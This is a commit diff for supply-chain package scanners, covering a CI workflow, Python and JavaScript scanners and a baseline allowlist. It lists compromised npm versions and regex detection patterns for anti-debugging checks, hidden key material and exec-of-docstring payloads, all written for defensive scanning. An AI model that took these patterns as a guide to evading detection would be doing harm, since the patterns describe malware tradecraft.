ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Package scanners: cut false positives and make the CI gate blocking (#6355)

Browse source 
* Package scanners: cut false positives and make the CI gate blocking

scan_packages.py and scan_npm_packages.py red-failed on legitimate
library code, so the security-audit steps were left advisory. Reduce
the false positives at the source and flip both gates to blocking.

scan_packages.py:
- Scan code only: blank comments and bare docstrings/doctests before
  matching (line numbers preserved), so prose and >>> examples cannot
  trip a finding.
- Drop the platform.system() branch from the anti-analysis regex (under
  DOTALL it matched across the whole file, so every cross-platform
  library tripped it) and fix the dead /proc/self/status alternative.
- Add a reviewed baseline allowlist (scan_packages_baseline.json) keyed
  on (package, basename, check): only non-baselined CRITICAL/HIGH exit
  1, and a new kind of finding in a listed file still fails.
- sdist fallback: when --with-deps cannot resolve a shard (a sdist-only
  package or a version conflict), drop to per-spec and fetch the raw
  sdist from the PyPI JSON API (no pip build, no setup.py), so every
  package is still scanned and no shard exits 2.

scan_npm_packages.py:
- Mirror the code-only JS/TS scanning (blank // and /* */ comments,
  string/template/regex aware) and the baseline allowlist. The npm
  corpus is clean today, so the baseline is empty.

security-audit.yml:
- Flip both scan steps to blocking (SCAN_ENFORCE=1), capturing the
  scanner exit via PIPESTATUS so tee does not mask it.

tests/security: add coverage for the strip, baseline and sdist paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review feedback on the package scanners

- Do not blank f-strings during code-only scanning (they evaluate at
  import); and when a file uses exec/eval, rescan the original for
  payload carriers hidden in a docstring/string so exec(__doc__) style
  payloads stay visible.
- sdist fallback: recover transitive deps with their version specifier
  (fetch the pinned version, not latest), and recover deps in the
  --no-deps branch too so a sdist-only transitive dependency is still
  scanned instead of silently skipped.
- Baseline: key by package-relative path, not basename, so a future
  same-named file in another directory is not auto-suppressed.
  Regenerated the baseline accordingly.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-06-16 01:46:15 -07:00 • committed by GitHub
commit 21612c2e32
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
7 changed files with 2951 additions and 79 deletions
Download patch file Download diff file Expand all files Collapse all files

58
.github/workflows/security-audit.yml vendored
View file

@ -434,7 +434,7 @@ jobs:
# ─────────────────────────────────────────────────────────────
# Semgrep: design-flaw detection (catches what regex-pattern
# scanning of malicious authors cannot — first-party logic bugs
# scanning of malicious authors cannot, e.g. first-party logic bugs
# like langchain-core CVE-2025-68664 dumps/dumpd injection,
# n8n CVE-2025-68668 _pyodide.eval_code sandbox escape, marimo
# CVE-2026-39987 unauth WebSocket).
@ -849,10 +849,13 @@ jobs:
grep -q "Standalone pre-install package scanner" scripts/scan_packages.py
- name: Scan declared + transitive Python deps
# scan_packages.py exits 1 on CRITICAL/HIGH findings, 0 on
# clean. We swallow the exit because the baseline isn't
# triaged yet; surface the findings in the workflow summary.
# Drop continue-on-error after the first clean run on main.
# scan_packages.py exits 1 on NON-baselined CRITICAL/HIGH
# findings, 0 otherwise. It scans code-only (docstrings and
# comments are blanked first) and suppresses reviewed
# known-good findings via scripts/scan_packages_baseline.json,
# so legitimate-library noise no longer red-fails the gate.
# The step stays advisory until SCAN_ENFORCE=1 (see env below);
# then PIPESTATUS propagates the scanner's exit code.
#
# `--with-deps` walks PyPI metadata to enumerate every
# transitive dep the declared set would install, then scans
@ -869,6 +872,14 @@ jobs:
# downloads in exchange for wall-clock parallelism.
env:
SHARD_FILES: ${{ matrix.shard.files }}
# Enforcement switch. "1" = blocking: a non-baselined CRITICAL/HIGH
# fails the build. scan_packages.py scans code-only (docstrings/comments
# stripped), fetches sdist-only packages directly from PyPI (no build)
# so every shard resolves, and honors the reviewed allowlist at
# scripts/scan_packages_baseline.json, so only NON-baselined
# CRITICAL/HIGH cause its exit 1. The committed baseline makes all three
# shards exit 0 today; set this back to "0" to return to advisory.
SCAN_ENFORCE: "1"
run: |
set +e
mkdir -p logs
@ -884,12 +895,14 @@ jobs:
fi
done
echo "::endgroup::"
rc=0
if [ ${#REQ_ARGS[@]} -eq 0 ]; then
echo "[security-audit] shard ${{ matrix.shard.id }}: no PyPI specs, nothing to scan" \
| tee "$LOG"
else
python scripts/scan_packages.py --with-deps "${REQ_ARGS[@]}" \
2>&1 | tee "$LOG"
rc=${PIPESTATUS[0]}
fi
{
echo "## scan_packages :: shard ${{ matrix.shard.id }}"
@ -897,11 +910,19 @@ jobs:
echo "### Files in this shard"
for f in $SHARD_FILES; do echo "- audit-reqs/$f.txt"; done
echo
echo "scan_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)"
echo
echo '### Findings (tail)'
echo '```'
tail -200 "$LOG"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
# Advisory by default; blocking once SCAN_ENFORCE=1 and the baseline
# is committed. PIPESTATUS is captured above so `tee` does not mask the
# scanner's exit code.
if [ "$SCAN_ENFORCE" = "1" ]; then
exit "$rc"
fi
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
if: always()
@ -975,24 +996,37 @@ jobs:
python3 -c "import ast; ast.parse(open('scripts/scan_npm_packages.py').read())"
- name: Scan npm tarballs (declared + transitive, no install)
# The script exits 1 on HIGH/CRITICAL findings; we capture the
# full log and surface it in the step summary either way. It
# never runs `npm install`, never executes anything from a
# downloaded tarball, and only fetches from registry.npmjs.org.
# Initially non-blocking so the baseline can settle; drop
# continue-on-error once the baseline is clean for a week.
# scan_npm_packages.py exits 1 on NON-baselined HIGH/CRITICAL
# findings, 0 otherwise. It scans code-only (JS/TS comments are
# blanked first) and honors a reviewed allowlist at
# scripts/scan_npm_packages_baseline.json. It never runs
# `npm install`, never executes anything from a downloaded
# tarball, and only fetches from registry.npmjs.org. The npm
# corpus is clean (the baseline is empty), so the gate is
# enforcing (SCAN_ENFORCE=1) and any new finding fails the build.
env:
SCAN_ENFORCE: "1"
run: |
set -o pipefail
set +e
LOG=logs-scan-npm.txt
python3 scripts/scan_npm_packages.py 2>&1 | tee "$LOG"
rc=${PIPESTATUS[0]}
{
echo "## scan_npm_packages"
echo
echo "scan_npm_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)"
echo
echo '### Findings (tail)'
echo '```'
tail -300 "$LOG"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
# Blocking: the npm corpus is clean, so any non-baselined
# HIGH/CRITICAL is new and should fail the build. PIPESTATUS is
# captured above so `tee` does not mask the scanner's exit code.
if [ "$SCAN_ENFORCE" = "1" ]; then
exit "$rc"
fi
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
if: always()

372
scripts/scan_npm_packages.py
View file

@ -412,7 +412,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@uipath/functions-tool": {"1.0.1"},
"@uipath/access-policy-sdk": {"0.3.1"},
"@uipath/platform-tool": {"1.0.1"},
# Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai
# Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai
# (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
@ -916,6 +916,204 @@ def _evidence(
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
# ─────────────────────────────────────────────────────────────────────
# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments
# before matching (the top FP source: scary strings in JSDoc/changelog
# comments), tracking string/template/regex context so a `//` inside
# "http://..." is not mistaken for a comment. Strings are NOT blanked
# (droppers hide payloads there). Fail open on lexer confusion: the raw
# text is still scanned. JS sibling of scan_packages.py::_strip_noncode.
# ─────────────────────────────────────────────────────────────────────
_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx")
# Keywords after which a `/` begins a regex literal (not division).
_REGEX_PRECEDING_KEYWORDS = frozenset(
{
"return",
"typeof",
"instanceof",
"in",
"of",
"new",
"delete",
"void",
"throw",
"yield",
"await",
"do",
"else",
"case",
}
)
_IDENT_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$")
def _slash_is_regex(prev_tok: str) -> bool:
"""Disambiguate a lone ``/``: regex literal vs division operator.
Biased toward regex when ambiguous -- regex state never blanks, so a
wrong guess only costs FP reduction (or a fail-open), never a missed
detection.
"""
if prev_tok == "":
return True # start of file -> expression position
if prev_tok in _REGEX_PRECEDING_KEYWORDS:
return True
last = prev_tok[-1]
if last.isalnum() or last in "_$)]":
return False # previous token ends a value -> division
return True # operators, punctuation, `{`, `}` -> regex (safe bias)
def _strip_js_noncode(text: str) -> str:
"""Blank JS/TS comments, preserving byte geometry. Fail-open on confusion."""
if "//" not in text and "/*" not in text:
return text # nothing to strip
n = len(text)
out = list(text)
nl = ("\n", "\r")
def _blank(a: int, b: int) -> None:
for k in range(a, b):
if out[k] not in nl:
out[k] = " "
state = "code"
prev_tok = ""
tmpl_stack: list[str] = []
i = 0
try:
while i < n:
c = text[i]
nxt = text[i + 1] if i + 1 < n else ""
if state == "code":
if c == "/" and nxt == "/":
start = i
i += 2
while i < n and text[i] not in nl:
i += 1
_blank(start, i)
continue
if c == "/" and nxt == "*":
start = i
i += 2
closed = False
while i < n:
if text[i] == "*" and i + 1 < n and text[i + 1] == "/":
i += 2
closed = True
break
i += 1
if not closed:
return text # unterminated block comment
_blank(start, i)
continue
if c == "'":
state = "sq"
i += 1
continue
if c == '"':
state = "dq"
i += 1
continue
if c == "`":
state = "tmpl"
i += 1
continue
if c == "/":
if _slash_is_regex(prev_tok):
state = "regex"
i += 1
continue
prev_tok = "/"
i += 1
continue
if c.isspace():
i += 1
continue
if c in _IDENT_CHARS:
j = i
while j < n and text[j] in _IDENT_CHARS:
j += 1
prev_tok = text[i:j]
i = j
continue
if c == "}" and tmpl_stack:
state = tmpl_stack.pop()
i += 1
continue
prev_tok = c
i += 1
continue
elif state in ("sq", "dq"):
q = "'" if state == "sq" else '"'
if c == "\\":
i += 2
continue
if c == q:
state = "code"
prev_tok = "_v"
i += 1
continue
if c in nl:
return text # unterminated string literal
i += 1
continue
elif state == "tmpl":
if c == "\\":
i += 2
continue
if c == "`":
state = "code"
prev_tok = "_v"
i += 1
continue
if c == "$" and nxt == "{":
tmpl_stack.append("tmpl")
state = "code"
prev_tok = "{"
i += 2
continue
i += 1
continue
elif state == "regex":
if c == "\\":
i += 2
continue
if c == "[":
state = "regex_cc"
i += 1
continue
if c == "/":
state = "code"
prev_tok = "_v"
i += 1
continue
if c in nl:
return text # unterminated regex literal
i += 1
continue
elif state == "regex_cc":
if c == "\\":
i += 2
continue
if c == "]":
state = "regex"
i += 1
continue
if c in nl:
return text
i += 1
continue
else:
return text
if state != "code" or tmpl_stack:
return text # unterminated construct -> fail open
except Exception:
return text
return "".join(out)
def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
try:
@ -1042,6 +1240,14 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
findings: list[Finding] = []
# Code-only scanning for JS/TS sources: blank comments before matching so
# an IOC host / `eval(atob)` example / campaign marker quoted in a comment
# cannot manufacture a false positive. Assigned string literals (where real
# droppers hide base64 payloads) are preserved. Non-JS text (json/yaml/sh/
# py/html) is scanned as-is -- this lexer only understands JS comments.
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
text = _strip_js_noncode(text)
# IOC substrings (literal, case-sensitive).
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
if needle in text:
@ -1236,6 +1442,105 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
pass
# ─────────────────────────────────────────────────────────────────────
# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate
# can enforce without red-failing on rare legitimate-library behavior.
# Matched on ``(normalized package, basename(filename), pattern)`` -- not
# evidence text -- so a version bump does not reopen a finding, but a *new*
# kind of finding in a listed file is a different pattern and still fails.
# Mirrors scan_packages.py. Regenerate with ``--write-baseline``.
# ─────────────────────────────────────────────────────────────────────
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
def _norm_pkg_name(display: str) -> str:
"""``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version.
The version is the LAST ``@``-separated field; a leading ``@`` (scope)
is preserved. Lower-cased (npm names are case-insensitive). Sentinels
like ``<root>`` / ``<lockfile>`` pass through unchanged.
"""
s = (display or "").strip()
at = s.rfind("@")
if at > 0: # >0 so a leading @scope is not treated as the version sep
s = s[:at]
return s.lower()
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, file basename, pattern."""
return (_norm_pkg_name(f.package), os.path.basename(f.filename), f.pattern)
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
data = json.load(fh)
except FileNotFoundError:
return set()
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
keys: set[tuple[str, str, str]] = set()
for e in data.get("entries", []):
try:
keys.add((_norm_pkg_name(e["package"]), os.path.basename(e["file"]), e["pattern"]))
except (KeyError, TypeError):
continue
return keys
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
"""Persist at-or-above-threshold findings as an allowlist for triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
if _SEVERITY_RANK[f.severity] > threshold_rank:
continue
key = _finding_key(f)
if key in seen:
continue
seen.add(key)
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": os.path.basename(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
}
)
doc = {
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"basename(file), pattern); evidence/severity are for review only. "
"Regenerate with --write-baseline AFTER reviewing every line."
),
"version": 1,
"entries": entries,
}
with open(path, "w", encoding = "utf-8") as fh:
json.dump(doc, fh, indent = 2, sort_keys = False)
fh.write("\n")
print(f" Wrote {len(entries)} baseline entr(y/ies) to {path}")
return len(entries)
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:
return list(findings), []
active, suppressed = [], []
for f in findings:
(suppressed if _finding_key(f) in baseline else active).append(f)
return active, suppressed
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(
description = "Pre-install npm tarball content scanner.",
@ -1263,6 +1568,30 @@ def main(argv: list[str] | None = None) -> int:
"Medium and below print but exit 0."
),
)
parser.add_argument(
"--baseline",
metavar = "FILE",
default = None,
help = (
"Allowlist JSON of triaged known-good findings to suppress. "
"Defaults to scan_npm_packages_baseline.json next to this script "
"if present."
),
)
parser.add_argument(
"--no-baseline",
action = "store_true",
help = "Ignore the auto-discovered baseline allowlist.",
)
parser.add_argument(
"--write-baseline",
metavar = "FILE",
default = None,
help = (
"Write the current at/above-threshold findings to FILE as an "
"allowlist, then exit 0. Review every entry before committing it."
),
)
args = parser.parse_args(argv)
lockfile = Path(args.lockfile).resolve()
@ -1341,7 +1670,46 @@ def main(argv: list[str] | None = None) -> int:
"critical": CRITICAL,
}[args.fail_on]
threshold_rank = _SEVERITY_RANK[threshold]
blocking = [f for f in all_findings if _SEVERITY_RANK[f.severity] <= threshold_rank]
# --write-baseline: persist the full current at/above-threshold set as the
# new allowlist (ignoring any loaded baseline), then exit 0. A hard error
# means the scan was incomplete, so warn -- a baseline baked from a partial
# run would silently allow whatever failed to download.
if args.write_baseline:
if hard_errors:
print(
f" [WARN] {len(hard_errors)} hard error(s): baseline may be "
"incomplete (some packages did not scan).",
file = sys.stderr,
)
_write_baseline(args.write_baseline, all_findings, threshold_rank)
return 0
# Baseline allowlist: suppress triaged, known-good findings so the CI gate
# can be enforcing without red-failing on legitimate-library noise.
if args.no_baseline:
baseline_path = None
elif args.baseline:
baseline_path = args.baseline
elif os.path.isfile(_DEFAULT_BASELINE_PATH):
baseline_path = _DEFAULT_BASELINE_PATH
else:
baseline_path = None
baseline = _load_baseline(baseline_path) if baseline_path else set()
active, suppressed = _partition_baseline(all_findings, baseline)
if suppressed:
crit_s = sum(1 for f in suppressed if f.severity == CRITICAL)
high_s = sum(1 for f in suppressed if f.severity == HIGH)
print(
f"\n[scan-npm] {len(suppressed)} finding(s) suppressed by baseline "
f"{baseline_path} ({crit_s} CRITICAL, {high_s} HIGH).",
flush = True,
)
# Exit code: 1 on a hard error, or a NON-baselined finding at/above the
# threshold. This is the signal CI gates on once the baseline is clean.
blocking = [f for f in active if _SEVERITY_RANK[f.severity] <= threshold_rank]
if hard_errors or blocking:
if blocking:
print(

5
scripts/scan_npm_packages_baseline.json Normal file
View file

@ -0,0 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, basename(file), pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 1,
"entries": []
}

725
scripts/scan_packages.py
View file

@ -33,10 +33,24 @@ Examples:
python scan_packages.py --fix -r requirements.txt
python scan_packages.py --fix --max-search 20 -r requirements.txt
# Triage to a baseline once, then gate on anything NEW
python scan_packages.py -r requirements.txt --write-baseline scripts/scan_packages_baseline.json
python scan_packages.py -r requirements.txt # auto-loads the baseline, exits 0 if only baselined findings remain
False positives:
.py files are scanned code-only: comments and bare docstrings/doctests are
blanked before pattern matching (line numbers preserved), so prose, usage
examples and `>>>` doctests cannot trip a finding. Residual findings that
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
test fixture) are suppressed via a reviewed baseline allowlist, matched on
(package, basename(file), check). A NEW kind of finding in an already-listed
file is a different check and still fails. This mirrors the Hugging Face Hub
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
Exit codes:
0 -- no CRITICAL or HIGH findings
1 -- CRITICAL or HIGH findings detected
2 -- no packages specified
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
1 -- non-baselined CRITICAL or HIGH findings detected
2 -- no packages specified, or scan incomplete (pip download failure)
"""
import argparse
@ -50,6 +64,8 @@ import subprocess
import sys
import tarfile
import tempfile
import tokenize
import urllib.parse
import urllib.request
import zipfile
from dataclasses import dataclass, field
@ -213,17 +229,26 @@ RE_ARCHIVE_STAGING = re.compile(
)
# Anti-analysis / sandbox evasion / debugger detection
# NB: deliberately does NOT include a bare ``platform.system() ... Linux/Windows
# /Darwin`` branch. Under re.DOTALL that matched across the whole file -- any
# cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so
# it had ~zero precision and only generated false positives. OS detection alone
# is not an anti-analysis signal; the debugger/VM/long-sleep signals below are.
RE_ANTI_ANALYSIS = re.compile(
r"\bptrace\b"
r"|\bsys\s*\.\s*gettrace\s*\("
r"|\bsys\s*\.\s*settrace\b"
r"|\bTracerPid\b"
r"|\b/proc/self/status\b"
# /proc/self/status is read to scrape TracerPid for anti-debug. A leading
# \b here is unsatisfiable (\b never holds between a non-word boundary and
# "/"), so the old pattern was dead; a lookbehind that only forbids a
# preceding word char or path separator lets `open("/proc/self/status")`
# and `cat /proc/self/status` match while avoiding mid-path partials.
r"|(?<![\w/])/proc/self/status\b"
r"|\bIsDebuggerPresent\b"
r"|\bvirtualbox\b.*\bhardware\b"
r"|\bvmware\b.*\bdetect\b"
r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)" # long sleep (anti-sandbox)
r"|\bplatform\.\s*system\b.*\bif\b.*\b(?:Linux|Windows|Darwin)\b",
r"|\btime\.sleep\s*\(\s*(?:[3-9]\d{2,}|[1-9]\d{3,})\s*\)", # long sleep (anti-sandbox)
re.IGNORECASE | re.DOTALL,
)
@ -493,9 +518,130 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
# A STRING after one of these tokens (and before a NEWLINE) is a bare
# docstring/doctest/prose statement -- the dominant FP source -- so we blank it.
# A string after `=` or `(` is real code and is never blanked.
_LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT})
def _is_fstring(tok_string: str) -> bool:
"""True if a STRING token is an f-string (3.10/3.11 emit one STRING token).
A bare f-string statement evaluates its expressions at import, so unlike an
inert docstring it must never be blanked.
"""
q = min((tok_string.find(c) for c in "'\"" if c in tok_string), default = -1)
return q > 0 and "f" in tok_string[:q].lower()
def _strip_noncode(content: str) -> str:
"""Blank comments and bare docstrings so IOC patterns see code only.
Removed regions become spaces (newlines kept) so line numbers stay exact for
_extract_evidence. Fails open on tokenizer errors (the raw text is still
fully scanned, so a real detection is never lost).
"""
try:
toks = list(tokenize.generate_tokens(io.StringIO(content).readline))
except (tokenize.TokenError, IndentationError, SyntaxError, ValueError):
return content
spans: list[tuple[int, int, int, int]] = [] # (srow, scol, erow, ecol)
prev_significant = tokenize.NEWLINE # start-of-file behaves like a new line
n = len(toks)
for i, tok in enumerate(toks):
ttype = tok.type
if ttype == tokenize.COMMENT:
spans.append((*tok.start, *tok.end))
continue # do not advance prev_significant; comments are transparent
if (
ttype == tokenize.STRING
and prev_significant in _LINE_START_TOKENS
and not _is_fstring(tok.string) # f-strings execute; never blank them
):
# Bare string only if it is the whole statement: next significant
# token must close the logical line.
j = i + 1
while j < n and toks[j].type in (tokenize.COMMENT, tokenize.NL):
j += 1
if j < n and toks[j].type == tokenize.NEWLINE:
spans.append((*tok.start, *tok.end))
prev_significant = ttype
continue
if ttype in (
tokenize.NL,
tokenize.NEWLINE,
tokenize.INDENT,
tokenize.DEDENT,
tokenize.ENCODING,
):
prev_significant = ttype
continue
prev_significant = ttype
if not spans:
return content
buf = content.splitlines(keepends = True)
for srow, scol, erow, ecol in spans:
for row in range(srow, erow + 1):
line = buf[row - 1]
if line.endswith("\n"):
body, nl = line[:-1], "\n"
elif line.endswith("\r"):
body, nl = line[:-1], "\r"
else:
body, nl = line, ""
start = scol if row == srow else 0
end = ecol if row == erow else len(body)
end = min(end, len(body))
if start < end:
body = body[:start] + (" " * (end - start)) + body[end:]
buf[row - 1] = body + nl
return "".join(buf)
# Payload carriers that are suspicious when hidden in a blanked region (a
# docstring/string) of a file that can dynamically execute strings.
_HIDDEN_PAYLOAD_PATTERNS = (
(RE_LARGE_BLOB, "large base64 blob"),
(RE_EMBEDDED_KEYS, "embedded key material"),
(RE_MAY12_IOC, "Shai-Hulud IOC string"),
(RE_OBFUSCATION, "marshal/compile/obfuscation"),
)
def _hidden_payload_findings(
original: str, stripped: str, filename: str, package: str
) -> list[Finding]:
"""Flag payloads that live only in the blanked (docstring/string) region of
a file that contains exec/eval. Such a string is invisible to code-only
scanning yet ``exec(__doc__)`` / ``exec(<str>)`` could still run it."""
if not RE_EXEC_EVAL.search(stripped):
return []
out = []
for pat, label in _HIDDEN_PAYLOAD_PATTERNS:
if pat.search(original) and not pat.search(stripped):
out.append(
Finding(
HIGH,
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(original, pat)}",
)
)
return out
def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
"""Run all .py-specific checks."""
findings = []
# Code-only scanning: strip comments/docstrings up front so prose, doctests
# and usage examples cannot manufacture false positives. Aligns with the
# Hugging Face Hub model (ClamAV/picklescan: low-FP, signature/structural).
original = content
content = _strip_noncode(content)
findings = _hidden_payload_findings(original, content, filename, package)
basename = os.path.basename(filename)
is_setup = basename in ("setup.py", "setup.cfg")
is_init = basename == "__init__.py"
@ -937,7 +1083,13 @@ def _extract_evidence(
pattern: re.Pattern,
max_matches: int = 3,
) -> str:
"""Pull matching lines as evidence snippets."""
"""Pull matching lines as evidence snippets.
Falls back to a whole-content search when the pattern only matches across
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
anti-analysis / archive-staging finding could report empty evidence, making
the baseline entry impossible to review.
"""
lines = content.splitlines()
matches = []
for i, line in enumerate(lines, 1):
@ -948,7 +1100,17 @@ def _extract_evidence(
matches.append(f"L{i}: {snippet}")
if len(matches) >= max_matches:
break
return " | ".join(matches) if matches else ""
if matches:
return " | ".join(matches)
# Multiline (DOTALL) match: report the line where the match begins.
m = pattern.search(content)
if m:
line_no = content.count("\n", 0, m.start()) + 1
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
if len(snippet) > 160:
snippet = snippet[:160] + "..."
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
return ""
# Non-Python checkers
@ -1390,6 +1552,286 @@ _PIP_DOWNLOAD_PIN_FLAGS = [
_RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py
# exec), but a wheel-less project then can't be fetched at all and one such
# package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on
# resolve failure we drop to per-spec and fetch any sdist-only package's raw
# tarball from the PyPI JSON API for scan_archive() to read statically: no pip,
# no build, same no-exec guarantee. Transport failures are still exit 2; only
# "no wheel" is downgraded to a direct fetch.
_SDIST_DOWNLOAD_TIMEOUT = 180
# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).
_MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES
# Direct sdist bytes only ever come from PyPI's own CDN; refuse anything else.
_TRUSTED_PYPI_HOSTS = frozenset({"files.pythonhosted.org", "pypi.org", "pypi.python.org"})
def _spec_pin_version(spec: str) -> str | None:
"""Return the ``==X.Y.Z`` pin from a spec, or None if unpinned."""
m = _RE_PYPI_SPEC_VERSION.search(spec)
return m.group(1) if m else None
def _pypi_json(name: str) -> dict | None:
"""Fetch a project's PyPI metadata JSON (read-only HTTPS GET, no exec); None on error."""
url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "") + "/json"
try:
req = urllib.request.Request(url, headers = {"Accept": "application/json"})
with urllib.request.urlopen(req, timeout = 30) as resp:
if getattr(resp, "status", 200) != 200:
return None
data = resp.read(16 * 1024 * 1024) # metadata is small; cap regardless
return json.loads(data.decode("utf-8", errors = "replace"))
except Exception:
return None
def _release_files(meta: dict, version: str | None) -> list[dict]:
"""Distribution files for a specific version, or the latest release's files."""
if version:
files = meta.get("releases", {}).get(version)
if files:
return files
return meta.get("urls", []) or []
def _release_has_wheel(meta: dict, version: str | None) -> bool:
"""True if the (pinned or latest) release publishes any bdist_wheel."""
return any(f.get("packagetype") == "bdist_wheel" for f in _release_files(meta, version))
def _is_trusted_pypi_url(url: str) -> bool:
"""Only download sdist bytes from PyPI's own hosts, over HTTPS."""
try:
parsed = urllib.parse.urlparse(url)
except Exception:
return False
return parsed.scheme == "https" and parsed.hostname in _TRUSTED_PYPI_HOSTS
def _requires_dist_names(meta: dict, version: str | None) -> list[str]:
"""Transitive dep specs (name + version specifier) from metadata, to recover
a sdist-only package's tree. The specifier is kept so a pinned malicious
version is fetched, not latest. Skips ``extra``-gated deps."""
info = meta.get("info", {}) or {}
reqs = info.get("requires_dist") or []
specs: list[str] = []
for r in reqs:
if not isinstance(r, str):
continue
head = r
if ";" in r:
head, marker = r.split(";", 1)
if "extra" in marker:
continue # optional extra; default install would not pull it
if not _RE_NAME.match(head.strip()):
continue
# "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly).
specs.append(re.sub(r"\s+", "", head).replace("(", "").replace(")", ""))
return specs
def _download_sdist_direct(
name: str,
version: str | None,
dest: str,
*,
meta: dict | None = None,
) -> tuple[str | None, str | None]:
"""Fetch a project's sdist tarball directly from PyPI (no pip, no build).
Returns ``(filepath, error)``, one non-None. Suffix preserved for the archive
reader; bounded by ``_MAX_SDIST_BYTES`` and restricted to PyPI's CDN.
"""
if meta is None:
meta = _pypi_json(name)
if meta is None:
return None, f"PyPI metadata fetch failed for {name}"
picked: tuple[str, str] | None = None
for f in _release_files(meta, version):
if f.get("packagetype") == "sdist" and f.get("url") and f.get("filename"):
picked = (f["filename"], f["url"])
break
if picked is None:
return None, f"no sdist published for {name} (version={version or 'latest'})"
fname, url = picked
if not _is_trusted_pypi_url(url):
return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}"
# basename + sanitize keeps the path inside dest; the char class preserves
# the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.
safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz"
out = os.path.join(dest, safe_fname)
try:
req = urllib.request.Request(url, headers = {"Accept": "application/octet-stream"})
with urllib.request.urlopen(req, timeout = _SDIST_DOWNLOAD_TIMEOUT) as resp:
if getattr(resp, "status", 200) != 200:
return None, f"sdist HTTP {getattr(resp, 'status', '?')} for {name}"
data = resp.read(_MAX_SDIST_BYTES + 1)
if len(data) > _MAX_SDIST_BYTES:
return None, f"sdist for {name} exceeds {_MAX_SDIST_BYTES} byte cap"
with open(out, "wb") as fh:
fh.write(data)
print(
